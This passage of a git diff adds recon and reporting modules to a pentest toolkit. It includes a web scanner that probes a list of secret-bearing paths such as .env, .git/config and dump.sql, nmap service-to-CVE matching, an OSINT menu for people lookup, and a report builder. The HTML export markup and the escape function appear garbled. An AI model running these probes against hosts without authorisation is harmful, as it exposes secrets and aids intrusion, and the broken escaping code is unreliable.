timeout=10) as response: + headers = {k.lower(): v for k, v in response.headers.items()} + + # Server header + if 'server' in headers: + findings.append({'title': f"Server header exposed: {headers['server']}", 'severity': 'LOW', 'detail': 'Consider hiding server version'}) + + if 'x-powered-by' in headers: + findings.append({'title': f"X-Powered-By exposed: {headers['x-powered-by']}", 'severity': 'LOW', 'detail': 'Remove X-Powered-By header'}) + + # Missing security headers + security_headers = { + 'strict-transport-security': ('HSTS missing', 'HIGH', 'Add Strict-Transport-Security header'), + 'content-security-policy': ('CSP missing', 'HIGH', 'Add Content-Security-Policy header'), + 'x-frame-options': ('X-Frame-Options missing', 'MEDIUM', 'Clickjacking protection missing'), + 'x-content-type-options': ('X-Content-Type-Options missing', 'MEDIUM', 'Add nosniff header'), + 'referrer-policy': ('Referrer-Policy missing', 'MEDIUM', 'Add Referrer-Policy header'), + } + + for header, (title, severity, detail) in security_headers.items(): + if header not in headers: + findings.append({'title': title, 'severity': severity, 'detail': detail}) + + # Misconfigurations + misconfig_findings = self._web_check_misconfigs(headers) + findings.extend(misconfig_findings) + + except urllib.error.HTTPError as e: + findings.append({'title': f"HTTP Error: {e.code}", 'severity': 'INFO', 'detail': str(e.reason)}) + except Exception as e: + findings.append({'title': f"Connection error: {str(e)[:60]}", 'severity': 'INFO', 'detail': ''}) + + return findings + + def _web_check_ssl(self, hostname: str) -> list: + """Check SSL/TLS configuration.""" + findings = [] + + success, output = self.run_cmd( + f"echo | openssl s_client -connect {hostname}:443 -servername {hostname} 2>/dev/null", + timeout=15 + ) + + if not success or not output: + findings.append({'title': 'SSL check failed or no HTTPS', 'severity': 'INFO', 'detail': ''}) + return findings + + # Check certificate details + success2, cert_output = self.run_cmd( + f"echo | openssl s_client -connect {hostname}:443 -servername {hostname} 2>/dev/null | openssl x509 -noout -dates -issuer -subject 2>/dev/null", + timeout=15 + ) + + if success2 and cert_output: + for line in cert_output.split('\n'): + if 'notAfter' in line: + expiry = line.split('=', 1)[1].strip() if '=' in line else '' + findings.append({'title': f"Certificate expires: {expiry}", 'severity': 'INFO', 'detail': ''}) + elif 'issuer' in line.lower(): + findings.append({'title': f"Certificate issuer: {line.split('=', 1)[-1].strip()[:60]}", 'severity': 'INFO', 'detail': ''}) + + # Check for weak protocols + for protocol in ['ssl3', 'tls1', 'tls1_1']: + success, _ = self.run_cmd( + f"echo | openssl s_client -connect {hostname}:443 -{protocol} 2>/dev/null", + timeout=10 + ) + if success: + proto_name = protocol.replace('ssl3', 'SSLv3').replace('tls1_1', 'TLSv1.1').replace('tls1', 'TLSv1.0') + findings.append({'title': f"Weak protocol supported: {proto_name}", 'severity': 'HIGH', 'detail': 'Disable legacy protocols'}) + + return findings + + def _web_dir_bruteforce(self, url: str) -> list: + """Check for common sensitive paths.""" + findings = [] + common_paths = [ + '.git/HEAD', '.env', '.htaccess', 'robots.txt', 'sitemap.xml', + 'admin/', 'wp-admin/', 'phpinfo.php', 'server-status', 'backup/', + '.DS_Store', 'config.php', '.svn/', 'web.config', 'wp-login.php', + '.well-known/security.txt', 'crossdomain.xml', 'elmah.axd', + 'wp-config.php.bak', 'dump.sql', 'database.sql', 'debug/', + 'api/', 'swagger-ui.html', 'graphql', '.git/config', + 'composer.json', 'package.json', '.env.bak', 'Dockerfile', + 'docker-compose.yml', 'readme.md', + ] + + base_url = url.rstrip('/') + + for path in common_paths: + try: + check_url = f"{base_url}/{path}" + req = urllib.request.Request(check_url, method='HEAD', headers={ + 'User-Agent': self.USER_AGENTS[0], + }) + with urllib.request.urlopen(req, timeout=5) as response: + status = response.getcode() + if status in [200, 403]: + severity = 'HIGH' if path in ['.git/HEAD', '.env', '.git/config', 'dump.sql', 'database.sql'] else 'MEDIUM' + status_str = 'Found' if status == 200 else 'Forbidden' + findings.append({ + 'title': f"/{path} [{status}] {status_str}", + 'severity': severity, + 'detail': check_url, + }) + except: + pass + + return findings + + def _web_check_misconfigs(self, headers: dict) -> list: + """Check for common misconfigurations in headers.""" + findings = [] + + # CORS wildcard + acao = headers.get('access-control-allow-origin', '') + if acao == '*': + findings.append({'title': 'CORS wildcard: Access-Control-Allow-Origin: *', 'severity': 'MEDIUM', 'detail': 'Restrict CORS origins'}) + + # Cookie security + set_cookie = headers.get('set-cookie', '') + if set_cookie: + if 'secure' not in set_cookie.lower(): + findings.append({'title': 'Cookie missing Secure flag', 'severity': 'MEDIUM', 'detail': ''}) + if 'httponly' not in set_cookie.lower(): + findings.append({'title': 'Cookie missing HttpOnly flag', 'severity': 'MEDIUM', 'detail': ''}) + + return findings + + # ==================== VULNERABILITY CORRELATOR ==================== + + SERVICE_TO_CPE = { + 'apache': ('apache', 'http_server'), + 'nginx': ('f5', 'nginx'), + 'openssh': ('openbsd', 'openssh'), + 'openssl': ('openssl', 'openssl'), + 'mysql': ('oracle', 'mysql'), + 'mariadb': ('mariadb', 'mariadb'), + 'postgresql': ('postgresql', 'postgresql'), + 'postgres': ('postgresql', 'postgresql'), + 'samba': ('samba', 'samba'), + 'vsftpd': ('vsftpd_project', 'vsftpd'), + 'proftpd': ('proftpd_project', 'proftpd'), + 'postfix': ('postfix', 'postfix'), + 'dovecot': ('dovecot', 'dovecot'), + 'php': ('php', 'php'), + 'tomcat': ('apache', 'tomcat'), + 'iis': ('microsoft', 'internet_information_services'), + 'exim': ('exim', 'exim'), + 'bind': ('isc', 'bind'), + 'cups': ('apple', 'cups'), + 'redis': ('redis', 'redis'), + 'mongodb': ('mongodb', 'mongodb'), + 'elasticsearch': ('elastic', 'elasticsearch'), + 'jenkins': ('jenkins', 'jenkins'), + 'node': ('nodejs', 'node.js'), + } + + def vuln_correlator(self): + """Vulnerability correlator - match services to CVEs.""" + print(f"\n{Colors.BOLD}Vulnerability Correlator{Colors.RESET}") + print(f"{Colors.DIM}Match detected services against CVE database{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + print(f" {Colors.GREEN}[1]{Colors.RESET} Run fresh nmap -sV scan") + print(f" {Colors.GREEN}[2]{Colors.RESET} Load from Network Map JSON") + print(f" {Colors.GREEN}[3]{Colors.RESET} Load from nmap output file") + print() + + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + services = [] + target = "" + + if choice == "1": + target = input(f"{Colors.WHITE}Target IP/hostname: {Colors.RESET}").strip() + if not target: + return + self.print_status(f"Running nmap -sV on {target}...", "info") + success, output = self.run_cmd(f"nmap -sV -T4 {target}", timeout=300) + if success: + services = self._parse_nmap_services(output) + else: + self.print_status("nmap scan failed", "error") + return + + elif choice == "2": + # Load from network map JSON + json_files = sorted(Path("results").glob("network_map_*.json")) if Path("results").exists() else [] + if not json_files: + self.print_status("No network map files found. Run Network Mapper first.", "warning") + return + + print(f"\n{Colors.CYAN}Available network maps:{Colors.RESET}") + for i, f in enumerate(json_files, 1): + print(f" {Colors.GREEN}[{i}]{Colors.RESET} {f.name}") + + sel = input(f"\n{Colors.WHITE}Select: {Colors.RESET}").strip() + try: + idx = int(sel) - 1 + with open(json_files[idx], 'r') as f: + data = json.load(f) + target = data.get('subnet', 'unknown') + for host in data.get('hosts', []): + for port_info in host.get('ports', []): + if port_info.get('state') == 'open': + services.append({ + 'port': port_info['port'], + 'protocol': 'tcp', + 'service': port_info.get('service', ''), + 'version': '', + 'host': host['ip'], + }) + # Try to parse service+version + svc = port_info.get('service', '') + parts = svc.split() + if len(parts) >= 2: + services[-1]['service'] = parts[0] + services[-1]['version'] = parts[1] + except (ValueError, IndexError, json.JSONDecodeError) as e: + self.print_status(f"Error loading file: {e}", "error") + return + + elif choice == "3": + filepath = input(f"{Colors.WHITE}Path to nmap output file: {Colors.RESET}").strip() + if not filepath or not os.path.exists(filepath): + self.print_status("File not found", "error") + return + with open(filepath, 'r') as f: + output = f.read() + services = self._parse_nmap_services(output) + target = filepath + + if not services: + self.print_status("No services found to correlate", "warning") + return + + self.print_status(f"Found {len(services)} services, correlating with CVE database...", "info") + + # Correlate each service + correlations = [] + try: + from core.cve import get_cve_db + cve_db = get_cve_db() + except ImportError: + self.print_status("CVE database module not available", "error") + return + + for svc in services: + cves = self._correlate_service(svc, cve_db) + if cves: + correlations.append({ + 'service': svc, + 'cves': cves, + }) + + self._display_vuln_report(correlations, target) + + def _parse_nmap_services(self, nmap_output: str) -> list: + """Parse nmap -sV output for services.""" + services = [] + port_re = re.compile(r'(\d+)/(tcp|udp)\s+open\s+(\S+)\s*(.*)') + current_host = '' + + for line in nmap_output.split('\n'): + if 'Nmap scan report for' in line: + ip_match = re.search(r'(\d+\.\d+\.\d+\.\d+)', line) + current_host = ip_match.group(1) if ip_match else '' + + m = port_re.match(line.strip()) + if m: + service_full = m.group(4).strip() + # Split product and version + parts = service_full.split() + product = parts[0] if parts else m.group(3) + version = parts[1] if len(parts) > 1 else '' + + services.append({ + 'port': int(m.group(1)), + 'protocol': m.group(2), + 'service': product, + 'version': version, + 'host': current_host, + }) + + return services + + def _build_cpe(self, service: str, product: str, version: str) -> str: + """Build a CPE string from service info.""" + service_lower = service.lower() + product_lower = product.lower() + + # Try to find in lookup table + for key, (vendor, prod) in self.SERVICE_TO_CPE.items(): + if key in service_lower or key in product_lower: + cpe = f"cpe:2.3:a:{vendor}:{prod}" + if version: + clean_ver = re.sub(r'[^0-9.]', '', version) + if clean_ver: + cpe += f":{clean_ver}" + return cpe + + return "" + + def _correlate_service(self, service_info: dict, cve_db) -> list: + """Correlate a service with CVEs from the database.""" + service = service_info.get('service', '') + version = service_info.get('version', '') + + # Try CPE-based search + cpe = self._build_cpe(service, service, version) + cves = [] + + if cpe: + cves = cve_db.search_cves(cpe_pattern=cpe, max_results=20) + + # Fallback to keyword search + if len(cves) < 5: + keyword = f"{service} {version}".strip() + keyword_cves = cve_db.search_cves(keyword=keyword, max_results=20) + seen = {c['cve_id'] for c in cves} + for c in keyword_cves: + if c['cve_id'] not in seen: + cves.append(c) + + # Sort by CVSS score descending + cves.sort(key=lambda x: x.get('cvss_score', 0) or 0, reverse=True) + return cves[:15] + + def _display_vuln_report(self, correlations: list, target: str): + """Display vulnerability correlation results.""" + print(f"\n{Colors.CYAN}{'─' * 70}{Colors.RESET}") + print(f"{Colors.BOLD}Vulnerability Report: {target}{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 70}{Colors.RESET}\n") + + total_cves = 0 + severity_counts = {'CRITICAL': 0, 'HIGH': 0, 'MEDIUM': 0, 'LOW': 0} + + for corr in correlations: + svc = corr['service'] + cves = corr['cves'] + host = svc.get('host', '') + port = svc.get('port', '') + service_name = svc.get('service', '') + version = svc.get('version', '') + + print(f" {Colors.BOLD}{service_name}:{version}{Colors.RESET} on port {port} ({host})") + + for cve in cves: + total_cves += 1 + score = cve.get('cvss_score', 0) or 0 + severity = cve.get('severity', 'UNKNOWN') + cve_id = cve.get('cve_id', '') + desc = (cve.get('description', '') or '')[:80] + + # Count and color + if severity in severity_counts: + severity_counts[severity] += 1 + + if severity in ('CRITICAL', 'HIGH'): + sev_color = Colors.RED + elif severity == 'MEDIUM': + sev_color = Colors.YELLOW + else: + sev_color = Colors.CYAN + + print(f" {sev_color}{cve_id} ({severity} {score}){Colors.RESET} {desc}") + + print() + + # Summary + print(f"{Colors.CYAN}{'─' * 70}{Colors.RESET}") + print(f"{Colors.BOLD}Summary:{Colors.RESET} {total_cves} CVEs across {len(correlations)} services") + print(f" CRITICAL: {severity_counts['CRITICAL']} | HIGH: {severity_counts['HIGH']} | MEDIUM: {severity_counts['MEDIUM']} | LOW: {severity_counts['LOW']}") + + # Save results + if correlations: + os.makedirs("results", exist_ok=True) + safe_target = re.sub(r'[^\w.\-]', '_', str(target)) + filename = f"results/vuln_correlator_{safe_target}.json" + save_data = { + 'target': target, + 'timestamp': datetime.now().isoformat(), + 'correlations': [ + { + 'service': c['service'], + 'cves': [{'cve_id': cve.get('cve_id'), 'severity': cve.get('severity'), + 'cvss_score': cve.get('cvss_score'), 'description': cve.get('description', '')[:200]} + for cve in c['cves']] + } for c in correlations + ] + } + with open(filename, 'w') as f: + json.dump(save_data, f, indent=2) + self.print_status(f"Saved to {filename}", "success") + + # ==================== MENU ==================== + + def show_menu(self): + clear_screen() + display_banner() + + print(f"{Colors.GREEN}{Colors.BOLD} OSINT & Reconnaissance{Colors.RESET}") + print(f"{Colors.DIM} Open source intelligence gathering{Colors.RESET}") + + # Social-analyzer status + if self.social_analyzer_available: + print(f"{Colors.DIM} social-analyzer: {Colors.GREEN}Available{Colors.RESET}") + else: + print(f"{Colors.DIM} social-analyzer: {Colors.YELLOW}Not installed{Colors.RESET}") + + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + print(f" {Colors.GREEN}Email{Colors.RESET}") + print(f" {Colors.GREEN}[1]{Colors.RESET} Email Lookup") + print(f" {Colors.GREEN}[2]{Colors.RESET} Email Permutator") + print() + print(f" {Colors.GREEN}Username{Colors.RESET}") + print(f" {Colors.GREEN}[3]{Colors.RESET} Username Lookup") + print(f" {Colors.GREEN}[4]{Colors.RESET} Social Analyzer") + print() + print(f" {Colors.GREEN}Phone{Colors.RESET}") + print(f" {Colors.GREEN}[5]{Colors.RESET} Phone Number Lookup") + print() + print(f" {Colors.GREEN}Domain/IP{Colors.RESET}") + print(f" {Colors.GREEN}[6]{Colors.RESET} Domain Recon") + print(f" {Colors.GREEN}[7]{Colors.RESET} IP Address Lookup") + print(f" {Colors.GREEN}[8]{Colors.RESET} Subdomain Enum") + print(f" {Colors.GREEN}[9]{Colors.RESET} Tech Detection") + print() + print(f" {Colors.MAGENTA}Dossier{Colors.RESET}") + print(f" {Colors.MAGENTA}[R]{Colors.RESET} Dossier Manager") + print() + print(f" {Colors.YELLOW}Network{Colors.RESET}") + print(f" {Colors.YELLOW}[W]{Colors.RESET} Network Mapper") + print(f" {Colors.YELLOW}[H]{Colors.RESET} Web Scanner") + print(f" {Colors.YELLOW}[V]{Colors.RESET} Vulnerability Correlator") + print() + print(f" {Colors.CYAN}Tools{Colors.RESET}") + print(f" {Colors.CYAN}[G]{Colors.RESET} GEO IP/Domain Lookup") + print(f" {Colors.CYAN}[Y]{Colors.RESET} Yandex OSINT") + print(f" {Colors.CYAN}[N]{Colors.RESET} Network Test") + print(f" {Colors.CYAN}[S]{Colors.RESET} Snoop Database Decoder") + print(f" {Colors.CYAN}[D]{Colors.RESET} Sites Database Stats") + print(f" {Colors.CYAN}[X]{Colors.RESET} Nmap Scanner") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + def run(self): + while True: + self.show_menu() + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0": + break + elif choice == "1": + self.email_lookup() + elif choice == "2": + self.email_permutator() + elif choice == "3": + self.username_lookup() + elif choice == "4": + username = input(f"\n{Colors.WHITE}Enter username: {Colors.RESET}").strip() + if username: + self.social_analyzer_search(username) + elif choice == "5": + self.phone_lookup() + elif choice == "6": + self.domain_info() + elif choice == "7": + self.ip_info() + elif choice == "8": + self.subdomain_enum() + elif choice == "9": + self.tech_detect() + elif choice.lower() == "g": + self.run_geoip_module() + elif choice.lower() == "y": + self.run_yandex_module() + elif choice.lower() == "n": + self.run_network_test() + elif choice.lower() == "s": + self.run_snoop_decoder() + elif choice.lower() == "d": + self.show_sites_db_stats() + elif choice.lower() == "r": + self.run_dossier_manager() + elif choice.lower() == "x": + self.nmap_scanner() + elif choice.lower() == "w": + self.network_mapper() + elif choice.lower() == "h": + self.web_scanner() + elif choice.lower() == "v": + self.vuln_correlator() + + if choice in ["1", "2", "3", "4", "5", "6", "7", "8", "9", + "g", "y", "n", "G", "Y", "N", "x", "X", + "w", "W", "h", "H", "v", "V"]: + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + +def run(): + Recon().run() + + +if __name__ == "__main__": + run() diff --git a/modules/report_engine.py b/modules/report_engine.py new file mode 100644 index 0000000..3f333df --- /dev/null +++ b/modules/report_engine.py @@ -0,0 +1,499 @@ +"""AUTARCH Reporting Engine + +Structured pentest report builder with findings, CVSS scoring, evidence, +and export to HTML/Markdown/JSON. +""" + +DESCRIPTION = "Pentest report builder & exporter" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +import os +import json +import time +import uuid +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any +from dataclasses import dataclass, field, asdict +import threading + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── Finding Severity & CVSS ────────────────────────────────────────────────── + +SEVERITY_MAP = { + 'critical': {'color': '#dc2626', 'score_range': '9.0-10.0', 'order': 0}, + 'high': {'color': '#ef4444', 'score_range': '7.0-8.9', 'order': 1}, + 'medium': {'color': '#f59e0b', 'score_range': '4.0-6.9', 'order': 2}, + 'low': {'color': '#22c55e', 'score_range': '0.1-3.9', 'order': 3}, + 'info': {'color': '#6366f1', 'score_range': '0.0', 'order': 4}, +} + +FINDING_TEMPLATES = [ + { + 'id': 'sqli', + 'title': 'SQL Injection', + 'severity': 'critical', + 'cvss': 9.8, + 'description': 'The application is vulnerable to SQL injection, allowing an attacker to manipulate database queries.', + 'impact': 'Complete database compromise, data exfiltration, authentication bypass, potential remote code execution.', + 'remediation': 'Use parameterized queries/prepared statements. Implement input validation and WAF rules.', + 'references': ['OWASP Top 10: A03:2021', 'CWE-89'], + }, + { + 'id': 'xss', + 'title': 'Cross-Site Scripting (XSS)', + 'severity': 'high', + 'cvss': 7.5, + 'description': 'The application reflects user input without proper sanitization, enabling script injection.', + 'impact': 'Session hijacking, credential theft, defacement, malware distribution.', + 'remediation': 'Encode all output, implement Content-Security-Policy, use framework auto-escaping.', + 'references': ['OWASP Top 10: A03:2021', 'CWE-79'], + }, + { + 'id': 'broken_auth', + 'title': 'Broken Authentication', + 'severity': 'critical', + 'cvss': 9.1, + 'description': 'Authentication mechanisms can be bypassed or abused to gain unauthorized access.', + 'impact': 'Account takeover, privilege escalation, unauthorized data access.', + 'remediation': 'Implement MFA, rate limiting, secure session management, strong password policies.', + 'references': ['OWASP Top 10: A07:2021', 'CWE-287'], + }, + { + 'id': 'idor', + 'title': 'Insecure Direct Object Reference (IDOR)', + 'severity': 'high', + 'cvss': 7.5, + 'description': 'The application exposes internal object references that can be manipulated to access unauthorized resources.', + 'impact': 'Unauthorized access to other users\' data, horizontal privilege escalation.', + 'remediation': 'Implement proper access control checks, use indirect references.', + 'references': ['OWASP Top 10: A01:2021', 'CWE-639'], + }, + { + 'id': 'missing_headers', + 'title': 'Missing Security Headers', + 'severity': 'low', + 'cvss': 3.1, + 'description': 'The application does not implement recommended security headers.', + 'impact': 'Increased attack surface for clickjacking, MIME sniffing, and XSS attacks.', + 'remediation': 'Implement CSP, X-Frame-Options, X-Content-Type-Options, HSTS headers.', + 'references': ['OWASP Secure Headers Project'], + }, + { + 'id': 'weak_ssl', + 'title': 'Weak SSL/TLS Configuration', + 'severity': 'medium', + 'cvss': 5.3, + 'description': 'The server supports weak SSL/TLS protocols or cipher suites.', + 'impact': 'Potential for traffic interception via downgrade attacks.', + 'remediation': 'Disable TLS 1.0/1.1, remove weak ciphers, enable HSTS.', + 'references': ['CWE-326', 'NIST SP 800-52'], + }, + { + 'id': 'info_disclosure', + 'title': 'Information Disclosure', + 'severity': 'medium', + 'cvss': 5.0, + 'description': 'The application reveals sensitive information such as server versions, stack traces, or internal paths.', + 'impact': 'Aids attackers in fingerprinting and planning targeted attacks.', + 'remediation': 'Remove version headers, disable debug modes, implement custom error pages.', + 'references': ['CWE-200'], + }, + { + 'id': 'default_creds', + 'title': 'Default Credentials', + 'severity': 'critical', + 'cvss': 9.8, + 'description': 'The system uses default or well-known credentials that have not been changed.', + 'impact': 'Complete system compromise with minimal effort.', + 'remediation': 'Enforce password change on first login, remove default accounts.', + 'references': ['CWE-798'], + }, + { + 'id': 'eternalblue', + 'title': 'MS17-010 (EternalBlue)', + 'severity': 'critical', + 'cvss': 9.8, + 'description': 'The target is vulnerable to the EternalBlue SMB exploit (MS17-010).', + 'impact': 'Remote code execution with SYSTEM privileges, wormable exploit.', + 'remediation': 'Apply Microsoft patch MS17-010, disable SMBv1.', + 'references': ['CVE-2017-0144', 'MS17-010'], + }, + { + 'id': 'open_ports', + 'title': 'Unnecessary Open Ports', + 'severity': 'low', + 'cvss': 3.0, + 'description': 'The target exposes network services that are not required for operation.', + 'impact': 'Increased attack surface, potential exploitation of exposed services.', + 'remediation': 'Close unnecessary ports, implement firewall rules, use network segmentation.', + 'references': ['CIS Benchmarks'], + }, +] + + +# ── Report Engine ───────────────────────────────────────────────────────────── + +class ReportEngine: + """Pentest report builder with findings management and export.""" + + def __init__(self): + self._data_dir = os.path.join(get_data_dir(), 'reports') + os.makedirs(self._data_dir, exist_ok=True) + + # ── Report CRUD ─────────────────────────────────────────────────────── + + def create_report(self, title: str, client: str = '', + scope: str = '', methodology: str = '') -> dict: + """Create a new report.""" + report_id = str(uuid.uuid4())[:8] + report = { + 'id': report_id, + 'title': title, + 'client': client, + 'scope': scope, + 'methodology': methodology or 'OWASP Testing Guide v4.2 / PTES', + 'executive_summary': '', + 'findings': [], + 'created_at': datetime.now(timezone.utc).isoformat(), + 'updated_at': datetime.now(timezone.utc).isoformat(), + 'status': 'draft', + 'author': 'AUTARCH', + } + self._save_report(report) + return {'ok': True, 'report': report} + + def get_report(self, report_id: str) -> Optional[dict]: + path = os.path.join(self._data_dir, f'{report_id}.json') + if not os.path.exists(path): + return None + with open(path, 'r') as f: + return json.load(f) + + def update_report(self, report_id: str, updates: dict) -> dict: + report = self.get_report(report_id) + if not report: + return {'ok': False, 'error': 'Report not found'} + for k, v in updates.items(): + if k in report and k not in ('id', 'created_at'): + report[k] = v + report['updated_at'] = datetime.now(timezone.utc).isoformat() + self._save_report(report) + return {'ok': True, 'report': report} + + def delete_report(self, report_id: str) -> dict: + path = os.path.join(self._data_dir, f'{report_id}.json') + if os.path.exists(path): + os.remove(path) + return {'ok': True} + return {'ok': False, 'error': 'Report not found'} + + def list_reports(self) -> List[dict]: + reports = [] + for f in Path(self._data_dir).glob('*.json'): + try: + with open(f, 'r') as fh: + r = json.load(fh) + reports.append({ + 'id': r['id'], + 'title': r['title'], + 'client': r.get('client', ''), + 'status': r.get('status', 'draft'), + 'findings_count': len(r.get('findings', [])), + 'created_at': r.get('created_at', ''), + 'updated_at': r.get('updated_at', ''), + }) + except Exception: + continue + reports.sort(key=lambda r: r.get('updated_at', ''), reverse=True) + return reports + + # ── Finding Management ──────────────────────────────────────────────── + + def add_finding(self, report_id: str, finding: dict) -> dict: + report = self.get_report(report_id) + if not report: + return {'ok': False, 'error': 'Report not found'} + finding['id'] = str(uuid.uuid4())[:8] + finding.setdefault('severity', 'medium') + finding.setdefault('cvss', 5.0) + finding.setdefault('status', 'open') + finding.setdefault('evidence', []) + report['findings'].append(finding) + report['updated_at'] = datetime.now(timezone.utc).isoformat() + self._save_report(report) + return {'ok': True, 'finding': finding} + + def update_finding(self, report_id: str, finding_id: str, + updates: dict) -> dict: + report = self.get_report(report_id) + if not report: + return {'ok': False, 'error': 'Report not found'} + for f in report['findings']: + if f['id'] == finding_id: + for k, v in updates.items(): + if k != 'id': + f[k] = v + report['updated_at'] = datetime.now(timezone.utc).isoformat() + self._save_report(report) + return {'ok': True, 'finding': f} + return {'ok': False, 'error': 'Finding not found'} + + def delete_finding(self, report_id: str, finding_id: str) -> dict: + report = self.get_report(report_id) + if not report: + return {'ok': False, 'error': 'Report not found'} + report['findings'] = [f for f in report['findings'] + if f['id'] != finding_id] + report['updated_at'] = datetime.now(timezone.utc).isoformat() + self._save_report(report) + return {'ok': True} + + def get_finding_templates(self) -> List[dict]: + return FINDING_TEMPLATES + + # ── Export ──────────────────────────────────────────────────────────── + + def export_html(self, report_id: str) -> Optional[str]: + """Export report as styled HTML.""" + report = self.get_report(report_id) + if not report: + return None + + findings_html = '' + sorted_findings = sorted(report.get('findings', []), + key=lambda f: SEVERITY_MAP.get(f.get('severity', 'info'), {}).get('order', 5)) + for i, f in enumerate(sorted_findings, 1): + sev = f.get('severity', 'info') + color = SEVERITY_MAP.get(sev, {}).get('color', '#666') + findings_html += f''' +
    +

    {i}. {_esc(f.get('title', 'Untitled'))}

    +
    + {sev.upper()} + CVSS: {f.get('cvss', 'N/A')} + Status: {f.get('status', 'open')} +
    +

    Description

    {_esc(f.get('description', ''))}

    +

    Impact

    {_esc(f.get('impact', ''))}

    +

    Remediation

    {_esc(f.get('remediation', ''))}

    + {'

    Evidence

    ' + _esc(chr(10).join(f.get('evidence', []))) + '
    ' if f.get('evidence') else ''} + {'

    References

      ' + ''.join('
    • ' + _esc(r) + '
    • ' for r in f.get('references', [])) + '
    ' if f.get('references') else ''} +
    ''' + + # Summary stats + severity_counts = {} + for f in report.get('findings', []): + s = f.get('severity', 'info') + severity_counts[s] = severity_counts.get(s, 0) + 1 + + summary_html = '
    ' + for sev in ['critical', 'high', 'medium', 'low', 'info']: + count = severity_counts.get(sev, 0) + color = SEVERITY_MAP.get(sev, {}).get('color', '#666') + summary_html += f'
    {count}{sev.upper()}
    ' + summary_html += '
    ' + + html = f''' +{_esc(report.get('title', 'Report'))} + +

    {_esc(report.get('title', 'Penetration Test Report'))}

    +
    +
    Client: {_esc(report.get('client', 'N/A'))}
    +
    Date: {report.get('created_at', '')[:10]}
    +
    Author: {_esc(report.get('author', 'AUTARCH'))}
    +
    Status: {report.get('status', 'draft').upper()}
    +
    + +

    Executive Summary

    +

    {_esc(report.get('executive_summary', 'No executive summary provided.'))}

    + +

    Scope

    +

    {_esc(report.get('scope', 'No scope defined.'))}

    + +

    Methodology

    +

    {_esc(report.get('methodology', ''))}

    + +

    Findings Overview

    +{summary_html} + +

    Detailed Findings

    +{findings_html if findings_html else '

    No findings recorded.

    '} + + +''' + return html + + def export_markdown(self, report_id: str) -> Optional[str]: + """Export report as Markdown.""" + report = self.get_report(report_id) + if not report: + return None + + md = f"# {report.get('title', 'Report')}\n\n" + md += f"**Client:** {report.get('client', 'N/A')} \n" + md += f"**Date:** {report.get('created_at', '')[:10]} \n" + md += f"**Author:** {report.get('author', 'AUTARCH')} \n" + md += f"**Status:** {report.get('status', 'draft')} \n\n" + + md += "## Executive Summary\n\n" + md += report.get('executive_summary', 'N/A') + "\n\n" + + md += "## Scope\n\n" + md += report.get('scope', 'N/A') + "\n\n" + + md += "## Findings\n\n" + sorted_findings = sorted(report.get('findings', []), + key=lambda f: SEVERITY_MAP.get(f.get('severity', 'info'), {}).get('order', 5)) + for i, f in enumerate(sorted_findings, 1): + md += f"### {i}. [{f.get('severity', 'info').upper()}] {f.get('title', 'Untitled')}\n\n" + md += f"**CVSS:** {f.get('cvss', 'N/A')} | **Status:** {f.get('status', 'open')}\n\n" + md += f"**Description:** {f.get('description', '')}\n\n" + md += f"**Impact:** {f.get('impact', '')}\n\n" + md += f"**Remediation:** {f.get('remediation', '')}\n\n" + if f.get('evidence'): + md += "**Evidence:**\n```\n" + '\n'.join(f['evidence']) + "\n```\n\n" + if f.get('references'): + md += "**References:** " + ', '.join(f['references']) + "\n\n" + md += "---\n\n" + + md += f"\n*Generated by AUTARCH — {datetime.now(timezone.utc).strftime('%Y-%m-%d')}*\n" + return md + + def export_json(self, report_id: str) -> Optional[str]: + report = self.get_report(report_id) + if not report: + return None + return json.dumps(report, indent=2) + + # ── Internal ────────────────────────────────────────────────────────── + + def _save_report(self, report: dict): + path = os.path.join(self._data_dir, f'{report["id"]}.json') + with open(path, 'w') as f: + json.dump(report, f, indent=2) + + +def _esc(s: str) -> str: + return (s or '').replace('&', '&').replace('<', '<').replace('>', '>') + + +# ── Singleton ───────────────────────────────────────────────────────────────── + +_instance = None +_lock = threading.Lock() + + +def get_report_engine() -> ReportEngine: + global _instance + if _instance is None: + with _lock: + if _instance is None: + _instance = ReportEngine() + return _instance + + +# ── CLI ─────────────────────────────────────────────────────────────────────── + +def run(): + """Interactive CLI for Reporting Engine.""" + svc = get_report_engine() + + while True: + print("\n╔═══════════════════════════════════════╗") + print("║ REPORTING ENGINE ║") + print("╠═══════════════════════════════════════╣") + print("║ 1 — List Reports ║") + print("║ 2 — Create Report ║") + print("║ 3 — Add Finding ║") + print("║ 4 — Export Report ║") + print("║ 5 — Finding Templates ║") + print("║ 0 — Back ║") + print("╚═══════════════════════════════════════╝") + + choice = input("\n Select: ").strip() + + if choice == '0': + break + elif choice == '1': + reports = svc.list_reports() + if not reports: + print("\n No reports.") + continue + for r in reports: + print(f" [{r['id']}] {r['title']} — {r['findings_count']} findings " + f"({r['status']}) {r['updated_at'][:10]}") + elif choice == '2': + title = input(" Report title: ").strip() + client = input(" Client name: ").strip() + scope = input(" Scope: ").strip() + r = svc.create_report(title, client, scope) + print(f" Created report: {r['report']['id']}") + elif choice == '3': + rid = input(" Report ID: ").strip() + print(" Available templates:") + for i, t in enumerate(FINDING_TEMPLATES, 1): + print(f" {i}. [{t['severity'].upper()}] {t['title']}") + sel = input(" Template # (0 for custom): ").strip() + if sel and sel != '0': + idx = int(sel) - 1 + if 0 <= idx < len(FINDING_TEMPLATES): + f = FINDING_TEMPLATES[idx].copy() + f.pop('id', None) + r = svc.add_finding(rid, f) + if r['ok']: + print(f" Added: {f['title']}") + else: + title = input(" Title: ").strip() + severity = input(" Severity (critical/high/medium/low/info): ").strip() + desc = input(" Description: ").strip() + r = svc.add_finding(rid, {'title': title, 'severity': severity, + 'description': desc}) + if r['ok']: + print(f" Added finding: {r['finding']['id']}") + elif choice == '4': + rid = input(" Report ID: ").strip() + fmt = input(" Format (html/markdown/json): ").strip() or 'html' + if fmt == 'html': + content = svc.export_html(rid) + 